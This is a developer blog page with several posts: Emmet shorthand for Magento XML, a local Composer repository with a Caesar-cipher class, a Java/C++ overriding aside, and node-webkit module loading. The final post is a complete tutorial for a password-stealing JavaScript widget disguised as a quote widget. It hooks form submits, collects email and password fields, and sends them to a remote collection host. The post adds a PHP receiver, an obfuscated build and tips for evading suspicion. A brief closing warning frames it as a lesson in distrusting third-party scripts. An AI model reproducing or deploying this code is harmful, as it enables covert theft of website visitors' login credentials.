[Rants] Emmet is Really Great for Writing XML

I’m currently dealing with Magento, and if you know anything about Magento module development, you know that it involves many XMLs. Usually writing XML is a nightmare because it’s too long, repeatedly typing “<” “>” is uncomfortable, and every tag name will be written twice. But, I found Emmet!

I use Emmet plugin with my Sublime Text. Here is a quick reference for Emmet.

Let’s say I want to write an XML like this:

<config>
  <tabs>
    <foggyline module="foggyline_happyhour">
      <label>Foggyline</label>
      <sort_order>10</sort_order>
    </foggyline>
  </tabs>

  <sections>
    <foggyline_happyhour module="foggyline_happyhour">
      <label>FoggylineHappyHour</label>
      <tab>foggyline</tab>
      <sort_order>10</sort_order>
      <show_in_default>1</show_in_default>
      <groups>
        <settings>
          <label>FoggylineHappyHour Settings</label>
          <sort_order>10</sort_order>
          <show_in_default>1</show_in_default>
          <fields>
            <custom_message>
              <label>Custom Message</label>
              <frontend_type>text</frontend_type>
              <sort_order>20</sort_order>
              <show_in_default>1</show_in_default>
            </custom_message>
          </fields>
        </settings>
      </groups>
    </foggyline_happyhour>
  </sections>
</config>

What I would do is, I scan the outermost level first.

<config>
  <tabs>
    ...
  </tabs>

  <sections>
    ...
  </sections>
</config>

Then write it as Emmet syntax. Since there will be big siblings, I enclose them using parentheses and will fill the second sibling later.

config>(tabs)+()

Now I dive into <tabs>

  <tabs>
    <foggyline module="foggyline_happyhour">
      <label>Foggyline</label>
      <sort_order>10</sort_order>
    ...

This is pretty straightforward. Note that I don’t have to read the closing tag because it will be matched automatically later.

config>(tabs>foggyline[module="foggyline_happyhour"]>label{Foggyline}+sort_order{10})+()

Now that we are finished with <tabs>, move to its sibling <sections>.

  <sections>
    <foggyline_happyhour module="foggyline_happyhour">
      <label>FoggylineHappyHour</label>
      <tab>foggyline</tab>
      <sort_order>10</sort_order>
      <show_in_default>1</show_in_default>
      <groups>
        ...

Since this is a bit long, I write that part first.

...+(sections>foggyline_happyhour[module="foggyline_happyhour"]>label{FoggylineHappyHour}+tab{foggyline}+sort_order{10}+show_in_default{1}+groups>)

Let’s descend into <groups>

      <groups>
        <settings>
          <label>FoggylineHappyHour Settings</label>
          <sort_order>10</sort_order>
          <show_in_default>1</show_in_default>
          <fields>
            ...

This is similar with before.

...+groups>settings>label{FoggylineHappyHour Settings}+sort_order{10}+show_in_default{1}+fields>)

Now we enter the last portion of the XML.

          <fields>
            <custom_message>
              <label>Custom Message</label>
              <frontend_type>text</frontend_type>
              <sort_order>20</sort_order>
              <show_in_default>1</show_in_default>
            ...

Which is just repeating the same technique.

...+fields>custom_message>label{Custom Message}+frontend_type{text}+sort_order{20}+show_in_default{1})

Now this is the full Emmet code.

config>(tabs>foggyline[module="foggyline_happyhour"]>label{Foggyline}+sort_order{10})+(sections>foggyline_happyhour[module="foggyline_happyhour"]>label{FoggylineHappyHour}+tab{foggyline}+sort_order{10}+show_in_default{1}+groups>settings>label{FoggylineHappyHour Settings}+sort_order{10}+show_in_default{1}+fields>custom_message>label{Custom Message}+frontend_type{text}+sort_order{20}+show_in_default{1})

Press TAB on that and voila. Emmet reduces the amount of characters I have to type to around 50% because I don’t have to write the closing tags and “<” “>”.

Disclaimer: [Rants] is where I talk about nonsense.

Load Local Directory with Composer

If you have been using PHP for a while, you know that Composer is the hottest PHP package manager right now. With Composer we can easily define our library requirements and it will download them.

Normally, we include libraries from Packagist, but we can also define our own repository, even a local directory! This time I’ll show you an example of how to include a local directory as library in Composer. The main idea is to use that local directory as a Git repository.

Requirements:

  • Git
  • Composer

Create Local Repository

First we create a directory that will be our local repository. Then, we put a composer.json file and the file that will our library. The structure will look like this:

/path/to/local/repository/
    composer.json
    lib/
        Caesar.php

Caesar.php is just a sample library class. The content of Caesar.php:

<?php

class Caesar {
	private $key;

	public function __construct($key) {
		$this->key = (int)$key;
	}

	public function encrypt($text) {
		return $this->slide($this->key, $text);
	}

	public function decrypt($text) {
		return $this->slide($this->key * -1, $text);
	}

	private function slide($key, $text) {
		$result = '';
		for ($i=0, $n=strlen($text); $i < $n; $i++) {
			$c = $text[$i];
			if ($this->is_alpha($c)) {
				$num = ord($c);
				$num += $key;

				if ($this->is_upper($c)) {
					if ($num > ord('Z')) {
						$num -= 26;
					} else if ($num < ord('A')) {
						$num += 26;
					}
				} else { // is_lower
					if ($num > ord('z')) {
						$num -= 26;
					} else if ($num < ord('a')) {
						$num += 26;
					}
				}
				$result .= chr($num);
			} else {
				$result .= $c;
			}
		}
		return $result;
	}

	private function is_alpha($c) {
		return ('A' <= $c && $c <= 'Z') || ('a' <= $c && $c <= 'z');
	}

	private function is_upper($c) {
		return ('A' <= $c && $c <= 'Z');
	}
}

With composer.json we tell how we structure our library source, the content of composer.json:

{
  "name": "samplelocal/caesar",
  "autoload": {
    "psr-0": {
      "Caesar": "lib/"
    }
  }
}

Now define this directory as git repository. In /path/to/local/repository/ run these commands:

composer install
git init
git add -A
git commit -m "first"

Create Application

Now we need to create a simple application that will use the library we created. Create another directory for this and make sure this new directory is not under our local repository. Create empty files so the end result will look like this:

/path/to/sample/application/
    composer.json
    encrypt.php
    decrypt.php

encrypt.php and decrypt.php are our application.

<?php
// encrypt.php
require 'vendor/autoload.php';

$cipher = new Caesar(3);
$text = implode(' ', array_slice($argv, 1));

echo $cipher->encrypt($text) . "\n";
<?php
// decrypt.php
require 'vendor/autoload.php';

$cipher = new Caesar(3);
$text = implode(' ', array_slice($argv, 1));

echo $cipher->decrypt($text) . "\n";

And for our final file, we use this composer.json to include that library in our local repository. Put this as composer.json:

{
  "name": "sampleapp/caesar",
  "repositories": [
    {
      "type": "vcs",
      "url": "/path/to/local/repository/"
    }
  ],
  "require": {
    "samplelocal/caesar": "dev-master"
  }
}

That’s how we define local repository, set type as “vcs” and url as the directory path. Since it’s considered as VCS, that’s why we set the local repository as Git repository.

This is the final setup, run composer to install our library. In /path/to/sample/application/ run this command:

composer install

If all goes well, we can test our application by running some text encryption & decryption.

php encrypt.php Lorem ipsum dolor sit amet, consectetur adipiscing elit
Oruhp lsvxp groru vlw dphw, frqvhfwhwxu dglslvflqj holw
php decrypt.php Oruhp lsvxp groru vlw dphw, frqvhfwhwxu dglslvflqj holw
Lorem ipsum dolor sit amet, consectetur adipiscing elit

Afterthought

In the future, when we update our library, we need to update the library inside the application too. We do this using composer update command.

The ability to use local directory as dependency means we can have our own private library repositories.

More information on Composer repositories.

[Rants] Opt-In, Opt-Out, and Method Overriding

Opt-in means the default state is off and you have the option to turn it on. Opt-out means the default state is on and you have the option to turn it off.

In Java, method overriding is by default enabled. If you want to disable it, you use final. In C++, method overriding is not enabled by default. If you want to use it, you use virtual.

This means in Java, method overriding is opt-out. And in C++, method overriding is opt-in.

Disclaimer: [Rants] is where I talk nonsense.

[Quick Tips] Load External JavaScript File in node-webkit

If you have been reading my posts about node-webkit, I usually write the javascript code inside index.html file. This is simply for convenience. It doesn’t mean that you can’t write your javascript code in external files like what is common with regular website.

There are two ways we can load external JS file: <script> tag and node.js require() function.

We can use <script> tag just like in regular HTML page.

<script src="multiply.regular.js"></script>
<script>
var x = new Multiply(3, 4);
console.log(x.result());
</script>

But I think for node-webkit it’s more natural to use node.js require().

<script>
var Multiply = require('./multiply.node.js');
var x = new Multiply(5, 6);
console.log(x.result());
</script>

Inside the multiply.node.js file, we set which object will be returned via magic variable module.exports.

function Multiply(a, b) {
  this.a = a;
  this.b = b;
}

Multiply.prototype.result = function () {
  return this.a * this.b;
};

module.exports = Multiply;

Note that module.exports will only exists if the script is included via require() function, if included using <script> tag, the script will produce an error because module is undefined.

If you want to know more about node.js require() function.

Create JavaScript Widget to Steal Password

Now this is an interesting topic. For years many people have said not to trust random javascript library you found on the internet and put it in your website, because you don’t know what that script actually doing. This time I will create the script that will steal login information.

This script is inspired by Steal My Login. That website warns you that interceptor might inject nasty script to the website you visit. Well, what if the website owner himself who injects similar nasty script?

The sample scenario is, you create a nice widget that does useful stuff. Maybe it shows nice calendar, or nice clock, or nice page views (this was very popular). To use your widget, website owner simply has to put one line of HTML code, like:

<script src="yourwebsite.com/script-widget.js"></script>

But, people don’t know that in the widget script there is a code that will capture any form submit event and send the input data to a server. Some people might not check the widget source code before putting it on their website, especially if they don’t understand front-end programming at all.

To create this kind of widget, we will use these steps:

  1. Create normal widget
  2. Inject capture event
  3. Send to server without AJAX
  4. Create receiver server
  5. Try it
  6. Obfuscate

Create Normal Widget

Before we create the bad stuff, create the good stuff first. Any kind of widget is applicable, but for this tutorial I’ll just create a short simple random quote widget.

Create the file quote-widget.js and fill it with this half complete script:

(function() {

var Widget = {
  install: function () {
    var quotes = [
      "I have a new philosophy. I'm only going to dread one day at a time. ~ Charles Schulz",
      "Reality is the leading cause of stress for those in touch with it. ~ Jack Wagner",
      "Few things are harder to put up with than the annoyance of a good example. ~ Mark Twain",
      "The pure and simple truth is rarely pure and never simple. ~ Oscar Wilde",
      "There's no business like show business, but there are several businesses like accounting. ~ David Letterman",
      "Man invented language to satisfy his deep need to complain. ~ Lily Tomlin"
    ];
    var index = Math.floor(Math.random() * quotes.length);
    var elem = "<div class='quote'>" + quotes[index] + "</div>";
    document.write(elem);
    Thief.plant();
  }
};

var Thief = {};
Thief.plant = function () {
  	// @todo
  }
};

Widget.install();
}());

I think you can understand how the widget works: pick random quote then print it. But, we add an extra Thief.plant(). We will implement this function in the next section.

Inject Capture Event

To inject our action, I adapt the code from StealMyLogin.js. First, we add our onFormSubmit function to all forms:

Thief.plant = function () {
  // @todo onFormSubmit

  var forms = document.getElementsByTagName('form');
  for (var i=0; i < forms.length; i++) {
    var form = forms[i];

    if (form.addEventListener) {
      form.addEventListener('submit', onFormSubmit, true);
    } else if (form.attachEvent) {
      form.attachEvent('onsubmit', onFormSubmit);
    }
  }
};

Normally we will use addEventListener to add event handler, but for cross-browser compatibility (a.k.a. IE support), we have to include the possibility that only attachEvent exists. Do we really have to care about cross-browser? Well, if you want to be a bad guy, you need to study better than the good guy.

You notice that we inject our event handler to all forms. That’s because we can’t know for sure which form is the one we want to capture. So, just capture all of them and hope we hit a login form.

What do we do in onFormSubmit? We take all <input> value and collect it.

Thief.plant = function () {
  function onFormSubmit(event) {
    if (!event) event = window.event;

    var target;
    if (event.target) target = event.target;
    else if (event.srcElement) target = event.srcElement;
    if (!target) return;

    Thief.capture(target);
  }
  ...
};

Thief.capture = function (form) {
  var inputs = form.getElementsByTagName('input');
  var data = [];
  for (var i=0; i < inputs.length; i++) {
    var input = inputs[i];
    var type = input.getAttribute('type');
    if ((type == 'text') || (type == 'email') || (type == 'password')) {
      var name = input.getAttribute('name');
      data.push(name + '=' + input.value);
    }
  }

  if (data.length > 0) {
    Thief.report(data.join('&'));
  }
};

Thief.report = // @todo

The Thief.capture is pretty straightforward: take all inputs, if it’s text or email or password (or any other type you want) then collect it in the form of “key1=val1&key2=val2&etc...“.

Again, even for determining the target element, we need to check which properties available (event.target vs event.srcElement).

Send to Server Without AJAX

Normally you’ll use AJAX to send data to server without refreshing the page. But because of same-origin policy, you can’t do AJAX to different domain. And our script will absolutely be hosted in different domain, it’s an embeddable widget.

So, what to use then? There is a way to force the browser to load a URL: create an HTML element. Several elements have this ability, just to name a few:

<img src="load url">
<link href="load this">
<script src="load this">

You can also use CSS:

<div style="background-image:url(load this)">

The downside though, it’s a one way connection, you can load it but you don’t know when it is loaded and you can’t know the server actual response. Except for <script> though, you can use JSONP technique to mimic AJAX with <script>.

Luckily, our script only need one way communication.

Thief.report = function (text) {
  var script = document.createElement('script');
  script.src = 'http://yourwebsite.com/collect.php?' + text;
  document.getElementsByTagName('head')[0].appendChild(script);
};

We use <script> to send our captured data. It will be passed as GET parameters. You can see that we put the server destination there. Modify that URL to match your website, I recommend using local virtual host first. We will implement the server later.

You might think that this script works perfectly. But there is one problem, what if the page refreshes after the user click the submit button without giving the chance for our script to contact our server?

To solve that problem, we will give a delay between user click and the form actually submits. Modify our onFormSubmit function:

  var flag = false;
  function onFormSubmit(event) {
    ... // previous code

    setTimeout(function () {
      flag = true;
      var ev = document.createEvent("Event");
      ev.initEvent("submit", true, true);
      target.dispatchEvent(ev);
    }, 500);
    if (!flag) event.preventDefault();
  }

With this code, the first time the form is submitted, we cancel the process. But, we will resubmit the form after 500 milliseconds. The flag variable is to make sure we cancel the submit for the first time only.

Create Receiver Server

Now that our widget code is complete, we just have to create a server that will receive data sent by it. For this tutorial, I’ll use a simple PHP script. Make sure this script is accessible via http://yourwebsite.com/collect.php or whatever URL you put to the widget.

<?php
// collect.php
$log = 'dump.log';
$collect = array();
foreach ($_GET as $k => $v) {
  $collect[] = "$k: $v";
}
$line = implode(' | ', $collect)."\n";
file_put_contents($log, $line, FILE_APPEND);

Very simple, just convert all GET parameters to one line and append it to a file dump.log.

Try It

To try our widget, we create a simple HTML showing a login form.

<html>
<head></head>
<body>
  <section class="loginform cf">  
  <form name="login" action="#" method="post" accept-charset="utf-8">  
    <ul>  
      <li><label for="usermail">Email</label>  
      <input type="email" name="usermail" placeholder="yourname@email.com" required></li>  
      <li><label for="password">Password</label>  
      <input type="password" name="password" placeholder="password" required></li>  
      <li>  
      <input type="submit" value="Login"></li>  
    </ul>  
  </form>  
  </section>  

  <p>Quote of the day:</p>
  <script src="http://yourwebsite.com/quote-widget.js"></script>
</body>
</html>

Open that HTML file and act as if you are a user that logs in. Insert an email and password and then press the submit button.

login

You will realize that there is a delay between the moment you press the submit button and when the page refreshes.

Now, open the dump.log file to see the values you entered was written there:

usermail: aaaaa@aaa.com | password: aksjfksjdfk

Congratulations, you have a working password stealer.

Obfuscate

Sure, you can steal password now. But, even a quick glance at the source code will warn any person that this widget does nasty thing. What? With names like Thief, capture, collect, any person will know it has bad intention. The solution is obvious, you can change the names manually or automatically.

Lucky for us, there exist tools that do this automatically. It’s called “obfuscator”. An obfuscator will transform your source code to another source code that does the same thing but looks completely different. A Google search of “javascript obfuscator” will give you several alternatives, I tried http://javascriptobfuscator.com/.

To recap, this is the full code of our widget:

(function() {

var Widget = {
  install: function () {
    var quotes = [
      "I have a new philosophy. I'm only going to dread one day at a time. ~ Charles Schulz",
      "Reality is the leading cause of stress for those in touch with it. ~ Jack Wagner",
      "Few things are harder to put up with than the annoyance of a good example. ~ Mark Twain",
      "The pure and simple truth is rarely pure and never simple. ~ Oscar Wilde",
      "There's no business like show business, but there are several businesses like accounting. ~ David Letterman",
      "Man invented language to satisfy his deep need to complain. ~ Lily Tomlin"
    ];
    var index = Math.floor(Math.random() * quotes.length);
    var elem = "<div class='quote'>" + quotes[index] + "</div>";
    document.write(elem);
    Thief.plant();
  }
};

var Thief = {
  plant: function () {
    var flag = false;
    function onFormSubmit(event) {
      if (!event) event = window.event;

      var target;
      if (event.target) target = event.target;
      else if (event.srcElement) target = event.srcElement;
      if (!target) return;

      Thief.capture(target);

      setTimeout(function () {
        flag = true;
        var ev = document.createEvent("Event");
        ev.initEvent("submit", true, true);
        target.dispatchEvent(ev);
      }, 500);
      if (!flag) event.preventDefault();
    }


    var forms = document.getElementsByTagName('form');
    for (var i=0; i < forms.length; i++) {
      var form = forms[i];

      if (form.addEventListener) {
        form.addEventListener('submit', onFormSubmit, true);
      } else if (form.attachEvent) {
        form.attachEvent('onsubmit', onFormSubmit);
      }
    }
  },

  capture: function (form) {
    var inputs = form.getElementsByTagName('input');
    var data = [];
    for (var i=0; i < inputs.length; i++) {
      var input = inputs[i];
      var type = input.getAttribute('type');
      if ((type == 'text') || (type == 'email') || (type == 'password')) {
        var name = input.getAttribute('name');
        data.push(name + '=' + input.value);
      }
    }

    if (data.length > 0) {
      Thief.report(data.join('&'));
    }
  },
  
  report: function (text) {
    var script = document.createElement('script');
    script.src = 'http://yourwebsite.com/collect.php?' + text;
    document.getElementsByTagName('head')[0].appendChild(script);
  }
};

Widget.install();
}());

And this is what it looks like after obfuscation:

var _0xd0a9=["\x49\x20\x68\x61\x76\x65\x20\x61\x20\x6E\x65\x77\x20\x70\x68\x69\x6C\x6F\x73\x6F\x70\x68\x79\x2E\x20\x49\x27\x6D\x20\x6F\x6E\x6C\x79\x20\x67\x6F\x69\x6E\x67\x20\x74\x6F\x20\x64\x72\x65\x61\x64\x20\x6F\x6E\x65\x20\x64\x61\x79\x20\x61\x74\x20\x61\x20\x74\x69\x6D\x65\x2E\x20\x7E\x20\x43\x68\x61\x72\x6C\x65\x73\x20\x53\x63\x68\x75\x6C\x7A","\x52\x65\x61\x6C\x69\x74\x79\x20\x69\x73\x20\x74\x68\x65\x20\x6C\x65\x61\x64\x69\x6E\x67\x20\x63\x61\x75\x73\x65\x20\x6F\x66\x20\x73\x74\x72\x65\x73\x73\x20\x66\x6F\x72\x20\x74\x68\x6F\x73\x65\x20\x69\x6E\x20\x74\x6F\x75\x63\x68\x20\x77\x69\x74\x68\x20\x69\x74\x2E\x20\x7E\x20\x4A\x61\x63\x6B\x20\x57\x61\x67\x6E\x65\x72","\x46\x65\x77\x20\x74\x68\x69\x6E\x67\x73\x20\x61\x72\x65\x20\x68\x61\x72\x64\x65\x72\x20\x74\x6F\x20\x70\x75\x74\x20\x75\x70\x20\x77\x69\x74\x68\x20\x74\x68\x61\x6E\x20\x74\x68\x65\x20\x61\x6E\x6E\x6F\x79\x61\x6E\x63\x65\x20\x6F\x66\x20\x61\x20\x67\x6F\x6F\x64\x20\x65\x78\x61\x6D\x70\x6C\x65\x2E\x20\x7E\x20\x4D\x61\x72\x6B\x20\x54\x77\x61\x69\x6E","\x54\x68\x65\x20\x70\x75\x72\x65\x20\x61\x6E\x64\x20\x73\x69\x6D\x70\x6C\x65\x20\x74\x72\x75\x74\x68\x20\x69\x73\x20\x72\x61\x72\x65\x6C\x79\x20\x70\x75\x72\x65\x20\x61\x6E\x64\x20\x6E\x65\x76\x65\x72\x20\x73\x69\x6D\x70\x6C\x65\x2E\x20\x7E\x20\x4F\x73\x63\x61\x72\x20\x57\x69\x6C\x64\x65","\x54\x68\x65\x72\x65\x27\x73\x20\x6E\x6F\x20\x62\x75\x73\x69\x6E\x65\x73\x73\x20\x6C\x69\x6B\x65\x20\x73\x68\x6F\x77\x20\x62\x75\x73\x69\x6E\x65\x73\x73\x2C\x20\x62\x75\x74\x20\x74\x68\x65\x72\x65\x20\x61\x72\x65\x20\x73\x65\x76\x65\x72\x61\x6C\x20\x62\x75\x73\x69\x6E\x65\x73\x73\x65\x73\x20\x6C\x69\x6B\x65\x20\x61\x63\x63\x6F\x75\x6E\x74\x69\x6E\x67\x2E\x20\x7E\x20\x44\x61\x76\x69\x64\x20\x4C\x65\x74\x74\x65\x72\x6D\x61\x6E","\x4D\x61\x6E\x20\x69\x6E\x76\x65\x6E\x74\x65\x64\x20\x6C\x61\x6E\x67\x75\x61\x67\x65\x20\x74\x6F\x20\x73\x61\x74\x69\x73\x66\x79\x20\x68\x69\x73\x20\x64\x65\x65\x70\x20\x6E\x65\x65\x64\x20\x74\x6F\x20\x63\x6F\x6D\x70\x6C\x61\x69\x6E\x2E\x20\x7E\x20\x4C\x69\x6C\x79\x20\x54\x6F\x6D\x6C\x69\x6E","\x72\x61\x6E\x64\x6F\x6D","\x6C\x65\x6E\x67\x74\x68","\x66\x6C\x6F\x6F\x72","\x3C\x64\x69\x76\x20\x63\x6C\x61\x73\x73\x3D\x27\x71\x75\x6F\x74\x65\x27\x3E","\x3C\x2F\x64\x69\x76\x3E","\x77\x72\x69\x74\x65","\x70\x6C\x61\x6E\x74","\x65\x76\x65\x6E\x74","\x74\x61\x72\x67\x65\x74","\x73\x72\x63\x45\x6C\x65\x6D\x65\x6E\x74","\x63\x61\x70\x74\x75\x72\x65","\x45\x76\x65\x6E\x74","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x73\x75\x62\x6D\x69\x74","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x70\x72\x65\x76\x65\x6E\x74\x44\x65\x66\x61\x75\x6C\x74","\x66\x6F\x72\x6D","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","\x61\x74\x74\x61\x63\x68\x45\x76\x65\x6E\x74","\x6F\x6E\x73\x75\x62\x6D\x69\x74","\x69\x6E\x70\x75\x74","\x74\x79\x70\x65","\x67\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x74\x65\x78\x74","\x65\x6D\x61\x69\x6C","\x70\x61\x73\x73\x77\x6F\x72\x64","\x6E\x61\x6D\x65","\x3D","\x76\x61\x6C\x75\x65","\x70\x75\x73\x68","\x26","\x6A\x6F\x69\x6E","\x72\x65\x70\x6F\x72\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x74\x68\x69\x65\x66\x2E\x6C\x6F\x63\x61\x6C\x2E\x63\x6F\x6D\x2F\x63\x6F\x6C\x6C\x65\x63\x74\x2E\x70\x68\x70\x3F","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64","\x69\x6E\x73\x74\x61\x6C\x6C"];(function (){var _0x1c91x1={install:function (){var _0x1c91x2=[_0xd0a9[0],_0xd0a9[1],_0xd0a9[2],_0xd0a9[3],_0xd0a9[4],_0xd0a9[5]];var _0x1c91x3=Math[_0xd0a9[8]](Math[_0xd0a9[6]]()*_0x1c91x2[_0xd0a9[7]]);var _0x1c91x4=_0xd0a9[9]+_0x1c91x2[_0x1c91x3]+_0xd0a9[10];document[_0xd0a9[11]](_0x1c91x4);_0x1c91x5[_0xd0a9[12]]();} };var _0x1c91x5={plant:function (){var _0x1c91x6=false;function _0x1c91x7(_0x1c91x8){if(!_0x1c91x8){_0x1c91x8=window[_0xd0a9[13]];} ;var _0x1c91x9;if(_0x1c91x8[_0xd0a9[14]]){_0x1c91x9=_0x1c91x8[_0xd0a9[14]];} else {if(_0x1c91x8[_0xd0a9[15]]){_0x1c91x9=_0x1c91x8[_0xd0a9[15]];} ;} ;if(!_0x1c91x9){return ;} ;_0x1c91x5[_0xd0a9[16]](_0x1c91x9);setTimeout(function (){_0x1c91x6=true;var _0x1c91xa=document[_0xd0a9[18]](_0xd0a9[17]);_0x1c91xa[_0xd0a9[20]](_0xd0a9[19],true,true);_0x1c91x9[_0xd0a9[21]](_0x1c91xa);} ,500);if(!_0x1c91x6){_0x1c91x8[_0xd0a9[22]]();} ;} ;var _0x1c91xb=document[_0xd0a9[24]](_0xd0a9[23]);for(var _0x1c91xc=0;_0x1c91xc<_0x1c91xb[_0xd0a9[7]];_0x1c91xc++){var _0x1c91xd=_0x1c91xb[_0x1c91xc];if(_0x1c91xd[_0xd0a9[25]]){_0x1c91xd[_0xd0a9[25]](_0xd0a9[19],_0x1c91x7,true);} else {if(_0x1c91xd[_0xd0a9[26]]){_0x1c91xd[_0xd0a9[26]](_0xd0a9[27],_0x1c91x7);} ;} ;} ;} ,capture:function (_0x1c91xd){var _0x1c91xe=_0x1c91xd[_0xd0a9[24]](_0xd0a9[28]);var _0x1c91xf=[];for(var _0x1c91xc=0;_0x1c91xc<_0x1c91xe[_0xd0a9[7]];_0x1c91xc++){var _0x1c91x10=_0x1c91xe[_0x1c91xc];var _0x1c91x11=_0x1c91x10[_0xd0a9[30]](_0xd0a9[29]);if((_0x1c91x11==_0xd0a9[31])||(_0x1c91x11==_0xd0a9[32])||(_0x1c91x11==_0xd0a9[33])){var _0x1c91x12=_0x1c91x10[_0xd0a9[30]](_0xd0a9[34]);_0x1c91xf[_0xd0a9[37]](_0x1c91x12+_0xd0a9[35]+_0x1c91x10[_0xd0a9[36]]);} ;} ;if(_0x1c91xf[_0xd0a9[7]]>0){_0x1c91x5[_0xd0a9[40]](_0x1c91xf[_0xd0a9[39]](_0xd0a9[38]));} ;} ,report:function (_0x1c91x13){var _0x1c91x14=document[_0xd0a9[42]](_0xd0a9[41]);_0x1c91x14[_0xd0a9[43]]=_0xd0a9[44]+_0x1c91x13;document[_0xd0a9[24]](_0xd0a9[46])[0][_0xd0a9[45]](_0x1c91x14);} };_0x1c91x1[_0xd0a9[47]]();} ());

Perfect! Nobody can tell what it does now. This is the code that you will share to the world. If anybody asks, just say that it’s minified so it looks like that. Put a nice label on it, “Free javascript quote” or “Free quote for your website” or something.

Afterthought

Several improvements you can make:

  • Make your server URL less obvious, “http://ab.in/s.php” will look less dangerous than “http://evilserver.com/capturepassword.php”
  • You can store the website name for every data you capture, use the Referer header
  • The 500 milliseconds delay is customizable, if you think that’s too long
  • To make people less suspicious when there is a delay of form submit, you can change the submit button label to “Loading…” or just put a loading image there
  • Be more selective about which form we should inject, you can use the existence of “password” field to determine it’s login form. If you inject all forms, you’ll capture many useless data from other forms, like search form
  • Create an awesome widget first

I hope this tutorial will teach you not to trust other people’s javascript code, unless you have verified that it’s safe. It doesn’t have to be a widget, an advertisement script is another example. You as a website owner must put the advertiser’s script to your website. If you don’t check it, that script could capture credential information of your visitors without you knowing it.